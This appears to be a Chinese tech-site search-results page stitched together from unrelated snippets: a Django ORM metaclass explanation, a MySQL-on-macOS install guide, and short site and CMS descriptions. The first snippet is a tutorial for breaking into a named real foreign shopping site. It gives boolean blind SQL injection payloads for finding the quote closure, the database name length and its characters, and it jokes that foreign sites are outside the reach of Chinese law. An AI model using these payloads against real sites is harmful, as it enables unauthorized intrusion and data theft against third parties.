精华内容
下载资源
问答
  • 首先,我们祭出不受中国法律保护的外国... 简单来说,进一家网站的步骤:  1.获取数据库信息  2.用数据库中管理员账号登录  3.找到网站后台页面,对网站主机设置进行配置。  4.(假如是我们这里的网站)...

    首先,我们祭出不受中国法律保护的外国不知名网站,作为今天的教程:

    http://www.atrium.com.pk/Shopping.php?ID=1

     简单来说,黑进一家网站的步骤:

             1.获取数据库信息

             2.用数据库中管理员账号登录

             3.找到网站后台页面,对网站主机设置进行配置。

             4.(假如是我们这里的网站)承担最严重的法律责任,请最好的律师

      废话不多说,直接上教程:

    1.获取数据库信息  

             利用布尔渗透获取该网站的数据库信息,Web界面只会返回True和False。那么布尔盲注就是根据Web界面返回的真假值获取数据库信息。

    首先求闭合字符串

    求出闭合字符是一个单引号号

    1' and 1 = 1 %23正确 正确
    1' and 1 = 2 %23错误 网页不存在
    1( and 1 = 1 %23错误 网页不存在

     求数据库长度

    下面的代码只是个示例,请根据实际情况利用二分法对网页返回的真假值进行判读,获得网页的数据库长度 %23相当于#,在输入URL地址栏上使用,为了兼容更多系统。

    ?id = 1'and length(database())>1 %23  正确
    ?id = 1'and length(database())<10 %23 错误
    ?id = 1'and length(database())>5 %23 错误
    ?id = 1'and length(database())>3 %23 正确
    ?id = 1'and length(database())=4 %23 错误
    ?id = 1'and length(database())=5 %23 正确

     求数据库名称

    经过几次折半查找,得到第一个字母,然后得到第二个字母,依次得到整个数据库名称  

    ?id=1'and ascii(substr(database(),1,1))>1  %23正确
    ?id=1'and ascii(substr(database(),1,1))<100 %23正确
    ?id=1'and ascii(substr(database(),2,1))>75 正确
    ?id=1'and ascii(substr(database(),2,1))>150 错误
    ?id=1'and ascii(substr(database(),2,1))>100 正确

    暂且更到这里,明天再更

    展开全文
  • django是一套开发成本低、迭代周期快的python web框架,而如mysql等关系数据库则是网站的必备组件,django通过设计一套python对象与数据库表的映射系统ORM,使得开发者不用写一行SQL语句就实现极其复杂的关系...

    django是一套开发成本低、迭代周期快的python web框架,而如mysql等关系数据库则是网站的必备组件,django通过设计一套python对象与数据库表的映射系统ORM,使得开发者不用写一行SQL语句就能实现极其复杂的关系数据库操作,特别是关联多张表的SQL操作。这让开发者的精力可以放在业务的迭代实现中,忽略SQL细节,同时提供了还不错的SQL语句性能。本文主要分析该ORM系统的实现原理及其设计思路,顺带描述python元类这个“黑魔法”。接下来,我们首先描述django model的一般用法,再说明ORM系统的结构,以及为何如此设计。

    关系数据库相对于hbase等面向海量数据的列式存储数据库而言,大多为行式存储数据库。所以这里我们主要关注表、行,django的ORM系统中,允许让应用开发者定义一个继承django.db.models.Model(事实上是django.db.models.base.Model)的类对应着表,而该类的实例对应着行的方式操作关系数据库。其中,类中的静态成员对应着列名称,而实例中的同名成员则对应着一行数据中的列。例如:

    class Article(models.Model):
        title = models.CharField(verbose_name='标题', max_length=255)
        content = HTMLField(verbose_name='内容')

    这里的Article代表着表,Article.title是列名。若有实例article = Article(),此时article.title则表示一行中的title列的数据。所以,类和实例都会有同名的静态与对象成员title哦。

    ORM框架为每个表对应的类都生成了objects对象(如果你没有显式指定表的Manager的话),而这个objects对象拥有操作表的所有方法,诸如批量查询filter、单次查询get、更新update等。所以当我们执行SQL操作时,比如查询整表,可以如下:

    articles = Article.objects.all()

    当我们查询时,大多会查询到多行数据,比如上面的all方法返回的是整张表的全部行。所以我们需要一个容器,保存着SQL操作返回的全部Article实例,它就是models.QuerySet。QuerySet是一个很强大的类,它与objects对象共用操作表的方法,这些方法支持非常复杂的参数,不只有==、>、<、in、like等操作,还支持含有外键等方式的多表关联查询,这些下一篇文章再细说。

    为了方便快速开发复杂的SQL操作,QuerySet的SQL操作方法返回的还是QuerySet对象,这样就可以嵌套叠加着、由多个QuerySet方法组合完成一个SQL操作。例如:

    Article.objects.filter(title='xxx').filter(type=1).distinct()

    同时,QuerySet对象还具有“懒执行”的效果,只要没有真的使用查询出的行中数据时,查询就不会被django执行。这意味着我们尽可以写下大量的QuerySet方法,其返回的对象可以被多个条件分支反复使用。关于这一部分的实现也将在下一篇说明。

    本文主要讲述ORM的总体框架,以下开始说明其实现方法。

    当我们想通过类、对象这套OO系统映射关系数据库时,用类映射表、类成员映射列、实例映射行、实例成员映射行中的列,这是很自然的做法。作为中间件的实现者,最自然的基于OO的想法是实现一个强大的Model基类,其含有操作表的所有方法,由应用开发者继承基类后,自己定义列以及行中的列变量。然而这却是行不通的,因为:

    1、空表没有一行数据,此时Model类没有实例,但却要有表结构,所以用户不能自己定义self下的行中的列成员;

    2、Model类实例只表示一行,而“一行”是没有办法包含所有SQL操作的;

    3、Model类只能表示“表”这个结构,同样没有办法包含所有SQL操作;

    4、只有“多行”这个概念可以适配表中的任意数据,也就是QuerySet容器,所以,由Model基类提供所有表操作方法是行不通的。

    因此,由QuerySet实现几乎所有SQL操作方法是可行的,且由于QuerySet对象表示的若干行数据,SQL方法就可以被用户轻易的理解为操作这些行数据,也容易实现,而Django也确实是这么干的。那么,当未执行过查询时,QuerySet对象还不存在,这些表方法如何提供给用户呢?通常,我们可以在Model基类中提供一个方法或者成员,返回一个包含QuerySet中方法的对象(QuerySet表示若干行,所以此时不能直接返回QuerySet),而django选择提供一个成员叫objects,它是models.Manage类的实例,而这个Manager类虽然其定义中没有SQL操作方法,但被Django框架悄悄的通过“元类”的方式,将QuerySet中的所有方法都注入到Manager类中了。以上所述的内容如下图所示:

    如果查看django源代码会发现上图中的红色类BaseManagerFromQuerySet并不存在,它是由type元类生成的,也就是由它将QuerySet类里的方法注入到Manager类中的,从而让objects对象拥有了操作表的方法。这套系统依赖于python元类才能实现,那么,什么是元类呢?

    类是用于生成对象的,大部分编程语言都需要提前把类定义好才能编写基于“类”生成对象的代码。然而,python是个例外:一切皆对象,包括类也是对象,那么生成“类”这个对象的“类”称呼什么呢?元类!python允许开发者使用元类在运行时更改生成“类”的方式。

    就像object是所有类的基类,而type是所有元类的基类。任何类都是由type生成的,哪怕我们显式定义的类也会由type默认的生成。所以,我们自然也可以由type隐式得生成类,type生成类的方式如下:

    cls = type(name, base, attrs)

    name也就是类名,base是基类,而attrs就是属性,所有的成员和方法都在其中。type返回的则是类。而上图中的BaseManagerFromQuerySet类就是这么生成的,如下所示:

        def from_queryset(cls, queryset_class, class_name=None):
            if class_name is None:
                class_name = '%sFrom%s' % (cls.__name__, queryset_class.__name__)
            class_dict = {
                '_queryset_class': queryset_class,
            }
            class_dict.update(cls._get_queryset_methods(queryset_class))
            return type(class_name, (cls,), class_dict)

    所以,这里通常queryset_class就是QuerySet类,而cls就是BaseManager类。BaseManager的_get_queryset_methods方法负责把QuerySet中的方法注入到class_dict属性中,进而让BaseManagerFromQuerySet类具备了SQL操作方法。而Manager类就是继承上面构造出的类,如下所示:

    class Manager(BaseManager.from_queryset(QuerySet)):
        pass

    python中的类生成对象时,都是先由__new__方法生成对象,再通过__init__方法初始化对象。由于python并不需要用户管理内存,所以我们定义类时往往只重载__init__方法。元类生成类时也一样,只不过类不需要__init__方法初始化,所以我们通常定义元类时需要重载__new__方法。

    class ModelBase(type):
        """
        Metaclass for all models.
        """
        def __new__(cls, name, bases, attrs):
            super_new = super(ModelBase, cls).__new__
    	new_attrs = {...}
    	new_class = super_new(cls, name, bases, new_attrs)
    		
    	...
    		
    	manager = Manager()
    	manager.auto_created = True
    	cls.add_to_class('objects', manager)
    		
    	return new_class

    上面的ModelBase方法就是生成所有Model类的方法。同时,objects也是在生成类的时候就自动插入的。这里要插一句:python使用meta元类的规则是首先在当前类中查找是否使用元类,如果没有,再依次去父类中查看是否使用元类,若查找到显式指定的元类,则直接使用该元类创建类,若未找到,则使用默认的type元类生成类。所以,虽然用户描述表的Model类并没有使用元类,但仍然隐式得通过基类django.db.models.base.Model类使用了上面的ModelBase元类。而Model使用元类的方法也不太一样:

    class Model(six.with_metaclass(ModelBase)):

    而通常我们可能是这么使用的:

    class Model(object, metaclass=ModelBase):

    这是因为,six这个库又基于上面的查找元类也会从父类找一遍规则套了一层:

    def with_metaclass(meta, *bases):
        class metaclass(meta):
            def __new__(cls, name, this_bases, d):
                return meta(name, bases, d)
        return type.__new__(metaclass, 'temporary_class', (), {})

    Model是继承自动生成的父类temporary_class,而temporary_class,则使用了元类ModelBase生成。而上文的add_to_class实际调用了setattr方法,它可以向一个python object添加一个属性或者方法,如下 :

    def setattr(p_object, name, value)

    这里name就是目标属性的变量名,value是其值。实际上,类成员中代表的是列,而代表行的Model实例是在Model父类的__init__方法中设置的,如下:

                fields_iter = iter(opts.fields)
                for val, field in zip(args, fields_iter):
                    if val is _DEFERRED:
                        continue
                    setattr(self, field.attname, val)
                    kwargs.pop(field.name, None)

    还需要注意的是objects其实是由ManagerDescripter作为descripter包装了Manager对象,如下所示:

    class ManagerDescriptor(object):
        def __init__(self, manager):
            self.manager = manager
    
        def __get__(self, instance, cls=None):
            if instance is not None:
                raise AttributeError("Manager isn't accessible via %s instances" % cls.__name__)
    
            if cls._meta.abstract:
                raise AttributeError("Manager isn't available; %s is abstract" % (
                    cls._meta.object_name,
                ))
    
            return cls._meta.managers_map[self.manager.name]

    因为__get__方法的instance其实是调用objects的对象,如果通过类调用,例如Article.objects时,则instance参数为None。所以,这个descripter就是起到只允许非abstract类调用的目的。

    以上就是ORM整体架构,下一篇我们再详述QuerySet是如何支持复杂查询的。


    展开全文
  • 网站的首页将设有意见箱公告板,会员可以提出对网站的改进意见,管理员将在这些意见中搜寻出有价值的5条意见,使得会员名连同其意见,彩色发光,并滚动显示在首页,供更多会员点击查看。 (3)男女小主模块 管理...
  • 数据备份对于站长来说是十分重要,这个是防范于未然措施,试想一下,假如那天网站或者网站所在服务器崩溃(当然发生概率很小,但也不排除这些可能), 而你又没有备份数据库,那么,你就损失大了,...
  • 本站文章均为李华明Himi原创,转载务必在明显处注明: ...那么从今天开始陆续会更新数据库和Hibernate框架博文,也是Himi学习历程记录,希望大家共同讨论和研究; OK,本篇简单介绍安装吧,首先到MySQL官方网站...
    本站文章均为 李华明Himi 原创,转载务必在明显处注明: 
    转载自【黑米GameDev街区】 原文链接: http://www.himigame.com/mysql/749.html

    那么从今天开始陆续会更新数据库和Hibernate框架的博文,也是Himi学习的历程记录,希望大家能共同讨论和研究;

    OK,本篇简单介绍安装吧,首先到MySQL官方网站:

    http://www.mysql.com/downloads/

    如上图:点击DOWNLOAD ,进入如下界面,选择对应你的系统对应版本下载即可;

    我的是mac pro  64位 Lion 10.7.3,选择如上10.6最新MySQL版本;

    OK,下载后将dmg中的3个文件进行安装,如下:

    1.mysql-5.5.23-osx10.6-x86_64.pkg  ->这里包为MySQL的主程序包

    2.MySQL.prefPane ->在mac偏好设置添加项,用于启动MySQL Server服务;

    3.MySQLStartipItem.pkg -> MySQL启动程序

     

    这里顺便说下MySQL官网的另外一个工具: MySQL Workbench(GUI Tool)

    MySQL Workbench(GUI Tool)   是MySQL的界面操作软件,说白了就是可视化数据库工具,类似软件如sql manager,MYSQL Front等

    下载地址: http://www.mysql.com/downloads/workbench/

    此工具只有32位的,不过对于mac系统而言,32还是64都能完美运行;

    下载安装即可;

    下面我们简单使用Workbench创建一个Connection,启动MySQLWorkbench,如下图:

    这里主要分为3个大功能块:

    SQL Development:建立数据库连接、执行查询、脚本、编辑数据和管理数据库对象;

    Data Modeling:建立关系数据模型,可以实现关系数据模型与数据库、关系模型与sql脚本之间的转换;

    Server Administration:创建服务实例,管理数据库用户,数据库备份和导入;

    最左侧SQL Development,我们点击“New Connection”,直接各种Next (采用默认配置)即可完成创建;

    然后不要着急双击这个新建的连接,要启动MySQL Server服务先,打开你mac的”系统偏好设置”->MySQL->点击启动“Start MySQL Server”;当然也可以通过终端命令执行 :

    sudo /Library/StartupItems/MySQLCOM/MySQLCOM start

    OK,回头重新启动我们新建的连接,即可正常打开了;

    基本上对于可视化的数据库管理软件更多介绍不赘述,非重点;

     

    OK,下面我们来检验是否安装的MySQL能正常运行,打开终端:

    alias mysql=/usr/local/mysql/bin/mysql

    cd /usr/local/mysql

    mysql -u root -p

    这里大家也可以将路径配置一下:

    1.打开终端输入:  pico .bash_profile;    回车

    2.  将此路径配置进去:   export PATH=$PATH:/usr/local/mysql/bin/

    3. 重新打开终端,然后 直接   mysql -u -p ;即可

      一般都会添加这个路径,否则很不方便使用mysql的说~

    输入密码xxx回车,出现Welcome to the MySQL monitor….字样说明OK。

    默认密码 root ;

    如果你想修改密码,如下命令即可修改:

    /usr/local/mysql/bin/mysqladmin -u root password 你的密码

     

    展开全文
  • 今天,我烦透了,我的数据库出现了问题.所有表的text字段内容全 被更改为...等乱码我,我查询了所有网站,竟然没有类似...到底是谁了我,还是我的数据库出现了错误,真的很郁闷呀.我以往早日解决该 问题.
       今天,我烦透了,我的数据库出现了问题.所有表的text字段内容全 被更改为<i id=$*>...等乱码我,我查询了所有网站,竟然没有类似问题.到底是谁黑了我,还是我的数据库出现了错误,真的很郁闷呀.我以往能早日解决该 问题.
    展开全文
  • 传统应用是将数据保存在数据库中来实现,但是现在出现的数据库由于故障而被删除,被造成的数据丢失的情况更是屡见不鲜,所以传统数据库并不真正意义上确保数据的整体及安全性。 基于这些情况,我们设计并开发了...
  • 承认黑客大zhi规模攻击了daoSteam论坛,而且受zhuan到攻击论坛数据库中,包含用户信用卡账号和个人信息数据包,其中用户信用卡账号和信息数据包是加密,但是Valve不确定加密信用卡信息是否被黑客盗走,也...
  • 我是某高校信息学院老师,我研究方向是生物科技...一般,我需要在这些网站去收集论文文献和实验数据。 论文数据库:Wiley InterScience、EBSCO ASP、Blackwell、Springer等; 科研数据库:NCBI、EMBL、ICPSR等...
  • 简单易用,高扩展性是艺帆CMS特征,艺帆主旨是打造最适合大众免费cms,企业cms,免费网站模板,免费的网站制作软件 其他说明:首页幻灯才用JS而非Flash ,搜索引擎蜘蛛更识别并爬到相关链接,默认模板全站DIV加...
  • 简单易用,高扩展性是艺帆CMS特征,艺帆主旨是打造最适合大众免费cms,企业cms,免费网站模板,免费的网站制作软件   其他说明:首页幻灯才用JS而非Flash ,搜索引擎蜘蛛更识别并爬到相关链接,默认模板全站...
  • 在Oracle公司,Kyte专门负责Oracle数据库,他任务是帮助使用Oracle数据库的客户,并与他们共同设计和构建系统,或者对系统进行重构和调优。在进入Oracle公司之前,Kyte是一名系统集成人员,主要为美国军方和政府...
  • 针对新手写一点渗透小思路、小技巧,主要讲是思路,所有不会太详细。 经常逛一些好博客或者门户站,坚持下来,每天学一点思路,你会积累到很...三、查找上传,一些上传页面,比如申请友链、会员头像、和...
  • 再之,人们在网上买了商品却不知道东西邮寄到了哪,因此又催生了物流网站的发展。再者,在现如今的社会,物流业的快速发展,对于距离的差距,已经不是很大的问题,现在有很多的快递公司存在,例如中通等等。人们会有...
  • 两套源码,一套单页版,一套全站版 单页版:禁止某个IP访问某个页面 全站版:禁止IP访问全部页面 支持封IP时间,时间到了自动解封 ...两套源码均带独立后台(两套不一起用,因为数据库是共享,要一起用话,准备两个数据库)
  • 系统应用到的数据库采用的MySQL,页面采用的是jsp编写,服务器采用的是Tomcat。在Windows2007系统上运行  工作目的 新闻发布及管理系统能够使人们及时的阅读到最新的新闻资讯,满足人们对新闻内容的实时性的要求,...
  • 本书第1章强调不要把数据库当成一个黑盒,讨论了开发人员必须了解的数据库的基本特性和功能。第2章提供了一个创建Oracle数据库的绝好例子,从中你将深入地了解数据库和实例的概念。第3章介绍了各种类型的文件,特别...
  • 欢迎使用国内最专业的网站舞曲管理系统-黑色幻想音乐管理系统,它将是您轻松建DJ(音乐)站首选利器。 本程序采用PHP+mysql编写:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大便利,健壮...
  • 拥有一个完全由自己创建的网站是很多web工程师最初梦想:自己做设计,自己切界面,自己写交互,自己搭后台,自己架构数据库,自己配服务器。 好吧,实话实说,配服务器这一步曾经阻挡了我实现梦想脚步,当年...
  • 黑色幻想舞曲程序2.0

    2013-02-21 00:01:32
    收费网站,舞曲收费类型的网站,用户可以在线充值和消费,简单清晰盈利模式,确保您以最小投资,取得最大回报; HSHXDJcms 2.0 产品特性: 1. 简单易用模板引擎,让界面想怎么换就怎么换 2. 良好...
  • 安全卫士是一款专业电脑系统安全防护软件,软件不仅可以实现检测你电脑中不安全对系统有威胁文件,还防止恶意网站和恶意软件对系统带来破坏。软件采用双引擎查杀技术让反安全卫士更快更精准地识别...
  • 显示绝大部分网站的icon 抛弃各大导航网站所使用的表格布局,而选择用Tab来将网站分类。避免因内容太密集而无法快速找到想要的网站 可以自由的定制搜索引擎,不仅可以使用谷歌或百度这种常用搜索引擎,还可以搜...
  • 收费网站,舞曲收费类型的网站,用户可以在线充值和消费,简单清晰盈利模式,确保您以最小投资,取得最大回报; HSHXDJcms 2.0 产品特性:  1. 简单易用模板引擎,让界面想怎么换就怎么换  2. 良好...
  • 织梦怎么样备份网站

    2018-08-15 10:14:00
    很多用织梦的朋友不知道怎么备份网站,还有些朋友备份网站的方式不对。当遇到网站被、服务器到期等关键时刻,导致数据丢失,网站不用。新搭建网站就得一切从头再来,找技术恢复,又是一笔不小的开支。这是一种...

空空如也

空空如也

1 2 3 4 5 ... 12
收藏数 230
精华内容 92
关键字:

网站的数据库能黑